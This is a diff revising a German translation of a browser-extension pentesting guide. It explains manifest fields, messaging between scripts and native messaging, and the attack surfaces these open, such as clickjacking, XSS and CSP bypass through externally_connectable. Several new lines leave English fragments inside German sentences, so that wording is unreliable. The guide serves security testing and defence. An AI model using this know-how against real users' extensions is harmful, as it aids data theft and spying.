- **`document_end`**: Unmittelbar nachdem das DOM vollständig ist, aber bevor Unterressourcen wie Bilder und Frames geladen wurden.
+- **`document_start`**: Nach allen Dateien aus `css`, aber bevor das DOM aufgebaut wird oder andere Skripte ausgeführt werden.
+- **`document_end`**: Unmittelbar nachdem das DOM vollständig ist, jedoch bevor Subressourcen wie Bilder und Frames geladen sind.

 #### Via `manifest.json`
 ```json
@ -208,16 +208,16 @@ js: ["contentScript.js"],
 ```
 ### `background`

-Nachrichten, die von Inhalts-Skripten gesendet werden, werden von der **Hintergrundseite** empfangen, die eine zentrale Rolle bei der Koordination der Komponenten der Erweiterung spielt. Bemerkenswerterweise bleibt die Hintergrundseite während der gesamten Lebensdauer der Erweiterung bestehen und arbeitet diskret ohne direkte Benutzerinteraktion. Sie verfügt über ihr eigenes Document Object Model (DOM), das komplexe Interaktionen und Zustandsmanagement ermöglicht.
+Nachrichten, die von Content-Skripten gesendet werden, werden von der **Hintergrundseite** empfangen, die eine zentrale Rolle bei der Koordination der Komponenten der Erweiterung spielt. Bemerkenswert ist, dass die Hintergrundseite über die gesamte Lebensdauer der Erweiterung hinweg bestehen bleibt und unauffällig ohne direkte Benutzerinteraktion arbeitet. Sie verfügt über ihr eigenes Document Object Model (DOM), was komplexe Interaktionen und Zustandsverwaltung ermöglicht.

 **Wichtige Punkte**:

- **Rolle der Hintergrundseite:** Dient als Nervenzentrum der Erweiterung und gewährleistet Kommunikation und Koordination zwischen verschiedenen Teilen der Erweiterung.
- **Persistenz:** Sie ist eine stets präsente Entität, die für den Benutzer unsichtbar, aber für die Funktionalität der Erweiterung unerlässlich ist.
- **Automatische Generierung:** Wenn nicht ausdrücklich definiert, wird der Browser automatisch eine Hintergrundseite erstellen. Diese automatisch generierte Seite enthält alle Hintergrundskripte, die im Manifest der Erweiterung angegeben sind, und gewährleistet den nahtlosen Betrieb der Hintergrundaufgaben der Erweiterung.
+- **Rolle der Hintergrundseite:** Fungiert als Schaltzentrale für die Erweiterung und stellt die Kommunikation und Koordination zwischen den verschiedenen Teilen der Erweiterung sicher.
+- **Persistenz:** Sie ist eine stets vorhandene Entität, für den Benutzer unsichtbar, aber integraler Bestandteil der Funktionalität der Erweiterung.
+- **Automatische Erstellung:** Falls nicht explizit definiert, erstellt der Browser automatisch eine Hintergrundseite. Diese automatisch erzeugte Seite wird alle im Manifest der Erweiterung angegebenen Hintergrundskripte enthalten und so den nahtlosen Betrieb der Hintergrundaufgaben der Erweiterung sicherstellen.

 > [!TIP]
-> Der Komfort, den der Browser bei der automatischen Generierung einer Hintergrundseite (wenn nicht ausdrücklich deklariert) bietet, stellt sicher, dass alle notwendigen Hintergrundskripte integriert und betriebsbereit sind, was den Einrichtungsprozess der Erweiterung vereinfacht.
+> Die Bequemlichkeit, die der Browser durch die automatische Erstellung einer Hintergrundseite (wenn diese nicht explizit deklariert ist) bietet, stellt sicher, dass alle notwendigen Hintergrundskripte integriert und einsatzbereit sind und vereinfacht so den Einrichtungsprozess der Erweiterung.

 Beispiel für ein Hintergrundskript:
 ```js
@ -227,34 +227,35 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 }
 })
 ```
-Es verwendet die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage), um Nachrichten zu empfangen. Wenn eine `"explain"`-Nachricht empfangen wird, verwendet es die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs), um eine Seite in einem neuen Tab zu öffnen.
+Es verwendet die [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage), um Nachrichten zu lauschen. Wenn eine "explain"-Nachricht empfangen wird, nutzt es die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs), um eine Seite in einem neuen Tab zu öffnen.

-Um das Hintergrundskript zu debuggen, könnten Sie zu den **Erweiterungsdetails gehen und den Dienstarbeiter inspizieren,** dies öffnet die Entwicklertools mit dem Hintergrundskript:
+Um das background script zu debuggen, kannst du zu den **extension details and inspect the service worker,** gehen; das öffnet die developer tools mit dem background script:

 <figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>

-### Optionsseiten und andere
+### Options pages and other

-Browsererweiterungen können verschiedene Arten von Seiten enthalten:
+Browser extensions können verschiedene Arten von Seiten enthalten:

- **Aktionsseiten** werden in einem **Dropdown angezeigt, wenn das Erweiterungssymbol** angeklickt wird.
- Seiten, die die Erweiterung **in einem neuen Tab lädt**.
- **Optionsseiten**: Diese Seite wird oben auf der Erweiterung angezeigt, wenn sie angeklickt wird. Im vorherigen Manifest konnte ich auf diese Seite zugreifen unter `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` oder durch Klicken auf:
+- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
+- Seiten, die die Extension **load in a new tab**.
+- **Option Pages**: Diese Seite wird oben auf der Extension angezeigt, wenn sie angeklickt wird. In meinem vorherigen manifest konnte ich diese Seite unter `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` erreichen oder durch Klicken:

 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>

-Beachten Sie, dass diese Seiten nicht persistent sind wie Hintergrundseiten, da sie dynamisch Inhalte nach Bedarf laden. Trotz dessen teilen sie bestimmte Fähigkeiten mit der Hintergrundseite:
+Beachte, dass diese Seiten nicht persistent wie background pages sind, da sie Inhalte dynamisch nach Bedarf laden. Trotz dessen teilen sie bestimmte Fähigkeiten mit der background page:

- **Kommunikation mit Inhalts-Skripten:** Ähnlich wie die Hintergrundseite können diese Seiten Nachrichten von Inhalts-Skripten empfangen, was die Interaktion innerhalb der Erweiterung erleichtert.
- **Zugriff auf erweiterungsspezifische APIs:** Diese Seiten haben umfassenden Zugriff auf erweiterungsspezifische APIs, vorbehaltlich der für die Erweiterung definierten Berechtigungen.
+- **Communication with Content Scripts:** Ähnlich zur background page können diese Seiten Nachrichten von content scripts empfangen und so die Interaktion innerhalb der Extension ermöglichen.
+- **Access to Extension-Specific APIs:** Diese Seiten haben umfassenden Zugriff auf extension-specific APIs, vorbehaltlich der für die Extension definierten Berechtigungen.

 ### `permissions` & `host_permissions`

-**`permissions`** und **`host_permissions`** sind Einträge aus der `manifest.json`, die anzeigen, **welche Berechtigungen** die Browsererweiterung hat (Speicher, Standort...) und in **welchen Webseiten**.
+**`permissions`** und **`host_permissions`** sind Einträge in der `manifest.json`, die angeben, **welche permissions** die browser extensions hat (storage, location...) und in **welchen web pages**.

-Da Browsererweiterungen so **privilegiert** sein können, könnte eine bösartige oder kompromittierte Erweiterung dem Angreifer **verschiedene Mittel ermöglichen, um sensible Informationen zu stehlen und den Benutzer auszuspionieren**.
+Da browser extensions so **privileged** sein können, könnte eine bösartige oder kompromittierte Extension einem Angreifer **different means to steal sensitive information and spy on the user** ermöglichen.
+
+Prüfe, wie diese Einstellungen funktionieren und wie sie missbraucht werden könnten in:

-Überprüfen Sie, wie diese Einstellungen funktionieren und wie sie missbraucht werden könnten in:

 {{#ref}}
 browext-permissions-and-host_permissions.md
@ -262,13 +263,14 @@ browext-permissions-and-host_permissions.md

 ### `content_security_policy`

-Eine **Content-Sicherheitsrichtlinie** kann auch innerhalb der `manifest.json` deklariert werden. Wenn eine definiert ist, könnte sie **anfällig** sein.
+Eine **content security policy** kann ebenfalls in der `manifest.json` deklariert werden. Wenn eine definiert ist, könnte sie **vulnerable** sein.

-Die Standardeinstellung für Seiten von Browsererweiterungen ist eher restriktiv:
+Die Standardkonfiguration für browser extension pages ist relativ restriktiv:
 ```bash
 script-src 'self'; object-src 'self';
 ```
-Für weitere Informationen zu CSP und potenziellen Bypässen siehe:
+Für weitere Informationen zu CSP und möglichen Bypässen siehe:
+

 {{#ref}}
 ../content-security-policy-csp-bypass/
@ -276,7 +278,7 @@ Für weitere Informationen zu CSP und potenziellen Bypässen siehe:

 ### `web_accessible_resources`

-Damit eine Webseite auf eine Seite einer Browsererweiterung zugreifen kann, beispielsweise eine `.html`-Seite, muss diese Seite im **`web_accessible_resources`**-Feld der `manifest.json` erwähnt werden.\
+Damit eine Webseite auf eine Seite einer Browser-Erweiterung zugreifen kann, z. B. eine `.html`-Seite, muss diese Seite im Feld **`web_accessible_resources`** der `manifest.json` aufgeführt sein.\
 Zum Beispiel:
 ```javascript
 {
@ -294,67 +296,68 @@ Zum Beispiel:
 ...
 }
 ```
-Diese Seiten sind über URLs wie zugänglich:
+Diese Seiten sind unter URLs wie folgt erreichbar:
 ```
 chrome-extension://<extension-id>/message.html
 ```
-In öffentlichen Erweiterungen ist die **extension-id zugänglich**:
+In öffentlichen Extensions ist die **extension-id zugänglich**:

 <figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>

-Wenn jedoch der `manifest.json` Parameter **`use_dynamic_url`** verwendet wird, kann diese **id dynamisch** sein.
+Wenn jedoch der `manifest.json`-Parameter **`use_dynamic_url`** verwendet wird, kann diese **ID dynamisch** sein.

 > [!TIP]
-> Beachten Sie, dass selbst wenn eine Seite hier erwähnt wird, sie möglicherweise **gegen ClickJacking geschützt** ist, dank der **Content Security Policy**. Daher müssen Sie dies auch überprüfen (frame-ancestors Abschnitt), bevor Sie bestätigen, dass ein ClickJacking-Angriff möglich ist.
+> Beachte, dass selbst wenn hier eine Seite erwähnt wird, sie dank der **Content Security Policy** gegen **ClickJacking** geschützt sein kann. Du musst also auch diese (frame-ancestors Abschnitt) prüfen, bevor du bestätigst, dass ein ClickJacking-Angriff möglich ist.
+
+Der erlaubte Zugriff auf diese Seiten macht sie potenziell für **ClickJacking** anfällig:

-Der Zugriff auf diese Seiten macht diese Seiten **potenziell anfällig für ClickJacking**:

 {{#ref}}
 browext-clickjacking.md
 {{#endref}}

 > [!TIP]
-> Wenn diese Seiten nur von der Erweiterung und nicht von zufälligen URLs geladen werden dürfen, könnte dies ClickJacking-Angriffe verhindern.
+> Das Zulassen, dass diese Seiten nur von der Extension und nicht von beliebigen URLs geladen werden, kann ClickJacking-Angriffe verhindern.

 > [!CAUTION]
-> Beachten Sie, dass die Seiten aus **`web_accessible_resources`** und andere Seiten der Erweiterung ebenfalls in der Lage sind, **Hintergrundskripte zu kontaktieren**. Wenn eine dieser Seiten also anfällig für **XSS** ist, könnte dies eine größere Verwundbarkeit eröffnen.
+> Beachte, dass die Seiten aus **`web_accessible_resources`** und andere Seiten der Extension ebenfalls in der Lage sind, **contacting background scripts**. Wenn also eine dieser Seiten für **XSS** verwundbar ist, kann dies eine größere Schwachstelle eröffnen.
 >
-> Darüber hinaus beachten Sie, dass Sie nur Seiten, die in **`web_accessible_resources`** angegeben sind, innerhalb von iframes öffnen können, aber von einem neuen Tab aus ist es möglich, auf jede Seite in der Erweiterung zuzugreifen, wenn Sie die Erweiterungs-ID kennen. Daher könnte, wenn ein XSS gefunden wird, das gleiche Parameter ausnutzen, es auch missbraucht werden, selbst wenn die Seite nicht in **`web_accessible_resources`** konfiguriert ist.
+> Außerdem kannst du nur Seiten, die in **`web_accessible_resources`** angegeben sind, innerhalb von iframes öffnen; in einem neuen Tab ist es jedoch möglich, jede Seite der Extension aufzurufen, wenn man die Extension-ID kennt. Daher könnte ein XSS, das dieselben Parameter ausnutzt, missbraucht werden, selbst wenn die Seite nicht in **`web_accessible_resources`** konfiguriert ist.

 ### `externally_connectable`

-Laut den [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) erklärt die `"externally_connectable"` Manifest-Eigenschaft, **welche Erweiterungen und Webseiten sich mit Ihrer Erweiterung verbinden können** über [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) und [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
+Laut den [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) deklariert die Manifest-Eigenschaft `"externally_connectable"`, **welche Extensions und Webseiten** sich mit deiner Extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) und [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) verbinden können.

- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen sich verbinden, aber keine Webseiten können sich verbinden**.
- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** sich verbinden.
- Wenn **Übereinstimmungen** angegeben sind, können diese Webanwendungen sich verbinden:
+- Wenn der **`externally_connectable`**-Schlüssel **nicht** im Manifest deiner Extension deklariert ist oder er als **`"ids": ["*"]`** angegeben ist, **können alle Extensions eine Verbindung herstellen, aber keine Webseiten**.
+- Wenn **konkrete IDs angegeben** sind, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, können **nur diese Anwendungen** eine Verbindung herstellen.
+- Wenn **matches** angegeben sind, können diese Web-Apps eine Verbindung herstellen:
 ```json
 "matches": [
 "https://*.google.com/*",
 "*://*.chromium.org/*",
 ```
- Wenn es als leer angegeben ist: **`"externally_connectable": {}`**, kann keine App oder Webseite eine Verbindung herstellen.
+- Wenn es als leer angegeben ist: **`"externally_connectable": {}`**, wird keine App oder Website eine Verbindung herstellen können.

-Je **weniger Erweiterungen und URLs** hier angegeben sind, desto **kleiner wird die Angriffsfläche** sein.
+Je weniger **extensions und URLs** hier angegeben sind, desto **kleiner die Angriffsfläche**.

 > [!CAUTION]
-> Wenn eine Webseite **anfällig für XSS oder Übernahme** in **`externally_connectable`** angegeben ist, kann ein Angreifer **Nachrichten direkt an das Hintergrundskript senden**, wodurch das Content-Skript und dessen CSP vollständig umgangen werden.
+> Wenn eine Webseite **vulnerable to XSS or takeover** in **`externally_connectable`** angegeben ist, kann ein Angreifer **Nachrichten direkt an das background script senden**, wodurch das Content Script und dessen CSP vollständig umgangen werden.
 >
-> Daher ist dies ein **sehr mächtiger Bypass**.
+> Daher ist dies ein **sehr mächtiger bypass**.
 >
-> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, könnte sie, selbst wenn sie nicht mit der anfälligen Erweiterung kommunizieren darf, **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Außerdem, wenn der Client eine bösartige Extension installiert, selbst wenn sie nicht erlaubt ist, mit der verwundbaren Extension zu kommunizieren, könnte sie **XSS data in an allowed web page** injizieren oder die **`WebRequest`**- bzw. **`DeclarativeNetRequest`**-APIs missbrauchen, um Anfragen für eine zielgerichtete Domain zu manipulieren und so die Anforderung einer Seite für eine **JavaScript file** zu verändern. (Beachte, dass CSP auf der zielgerichteten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).

 ## Kommunikationsübersicht

-### Erweiterung <--> WebApp
+### Extension <--> WebApp

-Um zwischen dem Content-Skript und der Webseite zu kommunizieren, werden normalerweise Post-Nachrichten verwendet. Daher finden Sie in der Webanwendung normalerweise Aufrufe der Funktion **`window.postMessage`** und im Content-Skript Listener wie **`window.addEventListener`**. Beachten Sie jedoch, dass die Erweiterung auch **mit der Webanwendung kommunizieren könnte, indem sie eine Post-Nachricht sendet** (und die Webseite dies daher erwarten sollte) oder einfach die Webseite dazu bringt, ein neues Skript zu laden.
+Um zwischen dem Content Script und der Webseite zu kommunizieren, werden üblicherweise post messages verwendet. Daher findet man in der Webanwendung normalerweise Aufrufe der Funktion **`window.postMessage`** und im Content Script Listener wie **`window.addEventListener`**. Beachte jedoch, dass die Extension auch **mit der Webanwendung kommunizieren kann, indem sie eine Post Message sendet** (und die Webanwendung dies daher erwarten sollte) oder einfach die Seite ein neues Script laden lässt.

-### Innerhalb der Erweiterung
+### Innerhalb der Extension

-Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet), und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
+Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Extension zu senden (meist vom `background` script verarbeitet). Um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.

-Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung anstelle von einzelnen Nachrichten zu haben; es ist möglich, es zu verwenden, um **Nachrichten** zu **senden** und **zu empfangen**, wie im folgenden Beispiel:
+Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung statt einzelner Nachrichten zu haben; damit kann man **send** und **receive** **messages** wie im folgenden Beispiel verwenden:

 <details>

@ -389,19 +392,19 @@ console.log("Content script received message from background script:", msg)
 ```
 </details>

-Es ist auch möglich, Nachrichten von einem Hintergrundskript an ein Inhaltskript in einem bestimmten Tab zu senden, indem man **`chrome.tabs.sendMessage`** aufruft, wobei man die **ID des Tabs** angeben muss, an den die Nachricht gesendet werden soll.
+Es ist auch möglich, Nachrichten von einem Hintergrundskript an ein Content-Skript in einem bestimmten Tab zu senden, indem man **`chrome.tabs.sendMessage`** aufruft, wobei Sie die **ID des Tabs** angeben müssen, an den die Nachricht gesendet werden soll.

-### Von erlaubtem `externally_connectable` zur Erweiterung
+### Von erlaubten `externally_connectable` zur Erweiterung

-**Webanwendungen und externe Browsererweiterungen, die in der `externally_connectable`-Konfiguration erlaubt sind**, können Anfragen senden mit:
+**Web-Apps und externe Browser-Erweiterungen, die in der `externally_connectable`-Konfiguration erlaubt sind, können Anfragen senden using :**
 ```javascript
 chrome.runtime.sendMessage(extensionId, ...
 ```
-Wo es notwendig ist, die **Erweiterungs-ID** zu erwähnen.
+Wo es nötig ist, die **extension ID** zu erwähnen.

 ### Native Messaging

-Es ist möglich, dass die Hintergrundskripte mit Binärdateien im System kommunizieren, die **anfällig für kritische Sicherheitsanfälligkeiten wie RCEs** sein könnten, wenn diese Kommunikation nicht ordnungsgemäß gesichert ist. [More on this later](#native-messaging).
+Es ist möglich, dass background scripts mit binaries im System kommunizieren, die anfällig für kritische Sicherheitslücken wie RCEs sein können, wenn diese Kommunikation nicht richtig abgesichert ist. [Mehr dazu später](#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@ -413,9 +416,9 @@ console.log("Received " + response)
 ```
 ## Web **↔︎** Content Script Kommunikation

-Die Umgebungen, in denen **Content-Skripte** arbeiten und wo die Host-Seiten existieren, sind **getrennt** voneinander, was **Isolation** gewährleistet. Trotz dieser Isolation haben beide die Möglichkeit, mit dem **Document Object Model (DOM)** der Seite zu interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **Content-Skript** oder indirekt mit der Erweiterung über das Content-Skript kommunizieren kann, ist es erforderlich, das von beiden Parteien zugängliche **DOM** als Kommunikationskanal zu nutzen.
+Die Umgebungen, in denen **content scripts** ausgeführt werden, und die Host-Seiten sind voneinander **separiert**, wodurch **Isolation** gewährleistet wird. Trotz dieser Isolation können beide mit dem **Document Object Model (DOM)** der Seite interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **content script** kommunizieren kann oder indirekt mit der extension über das content script, muss sie das für beide zugängliche **DOM** als Kommunikationskanal verwenden.

-### Post-Nachrichten
+### Post Messages
 ```javascript:content-script.js
 // This is like "chrome.runtime.sendMessage" but to maintain the connection
 var port = chrome.runtime.connect()
@ -450,15 +453,16 @@ window.postMessage(
 false
 )
 ```
-Eine sichere Post Message-Kommunikation sollte die Authentizität der empfangenen Nachricht überprüfen, dies kann durch folgende Punkte geschehen:
+Eine sichere Post Message-Kommunikation sollte die Authentizität der empfangenen Nachricht prüfen; das kann durch folgende Checks erfolgen:

- **`event.isTrusted`**: Dies ist nur dann True, wenn das Ereignis durch eine Benutzeraktion ausgelöst wurde.
- Das Inhalts-Skript könnte eine Nachricht nur erwarten, wenn der Benutzer eine Aktion ausführt.
- **Ursprungsdomäne**: könnte eine Nachricht nur von einer erlaubten Liste von Domänen erwarten.
- Wenn ein Regex verwendet wird, seien Sie sehr vorsichtig.
- **Quelle**: `received_message.source !== window` kann verwendet werden, um zu überprüfen, ob die Nachricht **aus demselben Fenster** stammt, in dem das Inhalts-Skript lauscht.
+- **`event.isTrusted`**: Dies ist True nur, wenn das Event durch eine Benutzeraktion ausgelöst wurde
+- Das Content Script könnte nur dann Nachrichten erwarten, wenn der Nutzer eine Aktion ausführt
+- **origin domain**: könnte so konfiguriert sein, dass nur eine Allowlist von Domains Nachrichten akzeptiert
+- Wenn ein Regex verwendet wird, sei sehr vorsichtig
+- **Source**: `received_message.source !== window` kann verwendet werden, um zu prüfen, ob die Nachricht **from the same window** stammt, in dem das Content Script lauscht.
+
+Die vorherigen Checks können, selbst wenn sie durchgeführt werden, verwundbar sein — siehe auf der folgenden Seite **potential Post Message bypasses**:

-Die vorherigen Überprüfungen könnten, selbst wenn sie durchgeführt werden, anfällig sein, also überprüfen Sie auf der folgenden Seite **potenzielle Post Message-Bypässe**:

 {{#ref}}
 ../postmessage-vulnerabilities/
@ -466,7 +470,8 @@ Die vorherigen Überprüfungen könnten, selbst wenn sie durchgeführt werden, a

 ### Iframe

-Ein weiterer möglicher Kommunikationsweg könnte über **Iframe-URLs** erfolgen, ein Beispiel finden Sie in:
+Eine weitere mögliche Kommunikationsart kann über **Iframe URLs** erfolgen; ein Beispiel dazu findest du in:
+

 {{#ref}}
 browext-xss-example.md
@ -474,21 +479,22 @@ browext-xss-example.md

 ### DOM

-Dies ist nicht "genau" ein Kommunikationsweg, aber das **Web und das Inhalts-Skript haben Zugriff auf das Web-DOM**. Wenn das **Inhalts-Skript** Informationen daraus liest und das **Web-DOM** vertraut, könnte das Web **diese Daten ändern** (weil das Web nicht vertraut werden sollte oder weil das Web anfällig für XSS ist) und **das Inhalts-Skript gefährden**.
+Das ist nicht „genau“ eine Kommunikationsart, aber **web und das Content Script haben Zugriff auf den web DOM**. Wenn das **content script** also Informationen daraus liest und **trusting the web DOM**, könnte das web diese **modify this dat**a (weil dem web nicht vertraut werden sollte oder weil das web für XSS verwundbar ist) und damit **compromise the Content Script**.
+
+Ein Beispiel für eine **DOM based XSS to compromise a browser extension** findest du ebenfalls in:

-Ein Beispiel für ein **DOM-basiertes XSS, um eine Browsererweiterung zu kompromittieren**, finden Sie in:

 {{#ref}}
 browext-xss-example.md
 {{#endref}}

-## Kommunikation zwischen Inhalts-Skript **↔︎** Hintergrund-Skript
+## Content Script **↔︎** Background Script Communication

-Ein Inhalts-Skript kann die Funktionen [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **oder** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) verwenden, um eine **einmalige JSON-serialisierbare** Nachricht zu senden.
+Ein Content Script kann die Funktionen [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **oder** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) verwenden, um eine **one-time JSON-serializable** Nachricht zu senden.

-Um die **Antwort** zu verarbeiten, verwenden Sie das zurückgegebene **Promise**. Obwohl Sie aus Gründen der Abwärtskompatibilität weiterhin einen **Callback** als letzten Parameter übergeben können.
+Um die **response** zu verarbeiten, nutze das zurückgegebene **Promise**. Zur Abwärtskompatibilität kannst du jedoch weiterhin einen **callback** als letztes Argument übergeben.

-Das Senden einer Anfrage von einem **Inhalts-Skript** sieht so aus:
+Das Senden einer Anfrage aus einem **content script** sieht so aus:
 ```javascript
 ;(async () => {
 const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -496,7 +502,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-Senden einer Anfrage von der **Erweiterung** (normalerweise ein **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
+Senden einer Anfrage von der **extension** (in der Regel ein **background script**). Beispiel, wie man eine Nachricht an das content script im ausgewählten tab sendet:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@ -509,7 +515,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
 console.log(response)
 })()
 ```
-Am **empfangenden Ende** müssen Sie einen [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **Ereignis-Listener** einrichten, um die Nachricht zu verarbeiten. Dies sieht sowohl von einem Inhalts-Skript als auch von einer Erweiterungsseite gleich aus.
+Auf der Empfängerseite müssen Sie einen [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** einrichten, um die Nachricht zu verarbeiten. Das sieht sowohl im content script als auch in einer extension page gleich aus.
 ```javascript
 // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
 chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +527,15 @@ sender.tab
 if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
 })
 ```
-Im hervorgehobenen Beispiel wurde **`sendResponse()`** synchron ausgeführt. Um den `onMessage`-Ereignis-Handler für die asynchrone Ausführung von `sendResponse()` zu modifizieren, ist es unerlässlich, `return true;` einzufügen.
+Im hervorgehobenen Beispiel wurde **`sendResponse()`** synchron ausgeführt. Um den `onMessage`-Event-Handler für eine asynchrone Ausführung von `sendResponse()` anzupassen, ist es zwingend erforderlich, `return true;` einzufügen.

-Eine wichtige Überlegung ist, dass in Szenarien, in denen mehrere Seiten `onMessage`-Ereignisse empfangen sollen, **die erste Seite, die `sendResponse()`** für ein bestimmtes Ereignis ausführt, die einzige sein wird, die die Antwort effektiv liefern kann. Alle nachfolgenden Antworten auf dasselbe Ereignis werden nicht berücksichtigt.
+Eine wichtige Überlegung ist, dass in Szenarien, in denen mehrere Seiten `onMessage`-Events empfangen sollen, **die erste Seite, die `sendResponse()`** für ein bestimmtes Event ausführt, die einzige ist, die die Antwort effektiv liefern kann. Alle nachfolgenden Antworten auf dasselbe Event werden nicht berücksichtigt.

-Beim Erstellen neuer Erweiterungen sollte die Präferenz auf Promises anstelle von Callbacks liegen. In Bezug auf die Verwendung von Callbacks wird die Funktion `sendResponse()` nur dann als gültig angesehen, wenn sie direkt im synchronen Kontext ausgeführt wird oder wenn der Ereignis-Handler eine asynchrone Operation anzeigt, indem er `true` zurückgibt. Sollten keine der Handler `true` zurückgeben oder wenn die Funktion `sendResponse()` aus dem Speicher entfernt wird (garbage-collected), wird der mit der Funktion `sendMessage()` verbundene Callback standardmäßig ausgelöst.
+Beim Erstellen neuer Extensions sollte Promises gegenüber callbacks bevorzugt werden. Bei Verwendung von callbacks ist die Funktion `sendResponse()` nur dann gültig, wenn sie direkt im synchronen Kontext ausgeführt wird oder wenn der Event-Handler durch Rückgabe von `true` eine asynchrone Operation signalisiert. Wenn keiner der Handler `true` zurückgibt oder wenn die `sendResponse()`-Funktion aus dem Speicher entfernt (garbage-collected) wird, wird standardmäßig der Callback von `sendMessage()` ausgelöst.

 ## Native Messaging

-Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im System über stdin**. Die Anwendung muss eine JSON installieren, die dies in einer JSON wie folgt angibt:
+Browser extensions ermöglichen außerdem die Kommunikation mit **binaries im System über stdin**. Die Anwendung muss eine json installieren, die dies angibt — beispielsweise eine json wie:
 ```json
 {
 "name": "com.my_company.my_application",
@ -539,14 +545,14 @@ Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im Syste
 "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
 }
 ```
-Wo der `name` der String ist, der an [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) oder [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) übergeben wird, um mit der Anwendung von den Hintergrundskripten der Browsererweiterung zu kommunizieren. Der `path` ist der Pfad zur Binärdatei, es gibt nur 1 gültigen `type`, der stdio ist (verwende stdin und stdout) und die `allowed_origins` geben die Erweiterungen an, die darauf zugreifen können (und dürfen kein Wildcard haben).
+Dabei ist `name` der String, der an [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) oder [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) übergeben wird, um von den Hintergrundskripten der Browser-Erweiterung mit der Anwendung zu kommunizieren. Der `path` ist der Pfad zur Binary, es gibt nur einen gültigen `type`, nämlich stdio (Verwendung von stdin und stdout), und die `allowed_origins` geben die Erweiterungen an, die darauf zugreifen können (Wildcard ist nicht erlaubt).

-Chrome/Chromium wird nach diesem JSON in einigen Windows-Registrierungen und einigen Pfaden in macOS und Linux suchen (weitere Informationen in den [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
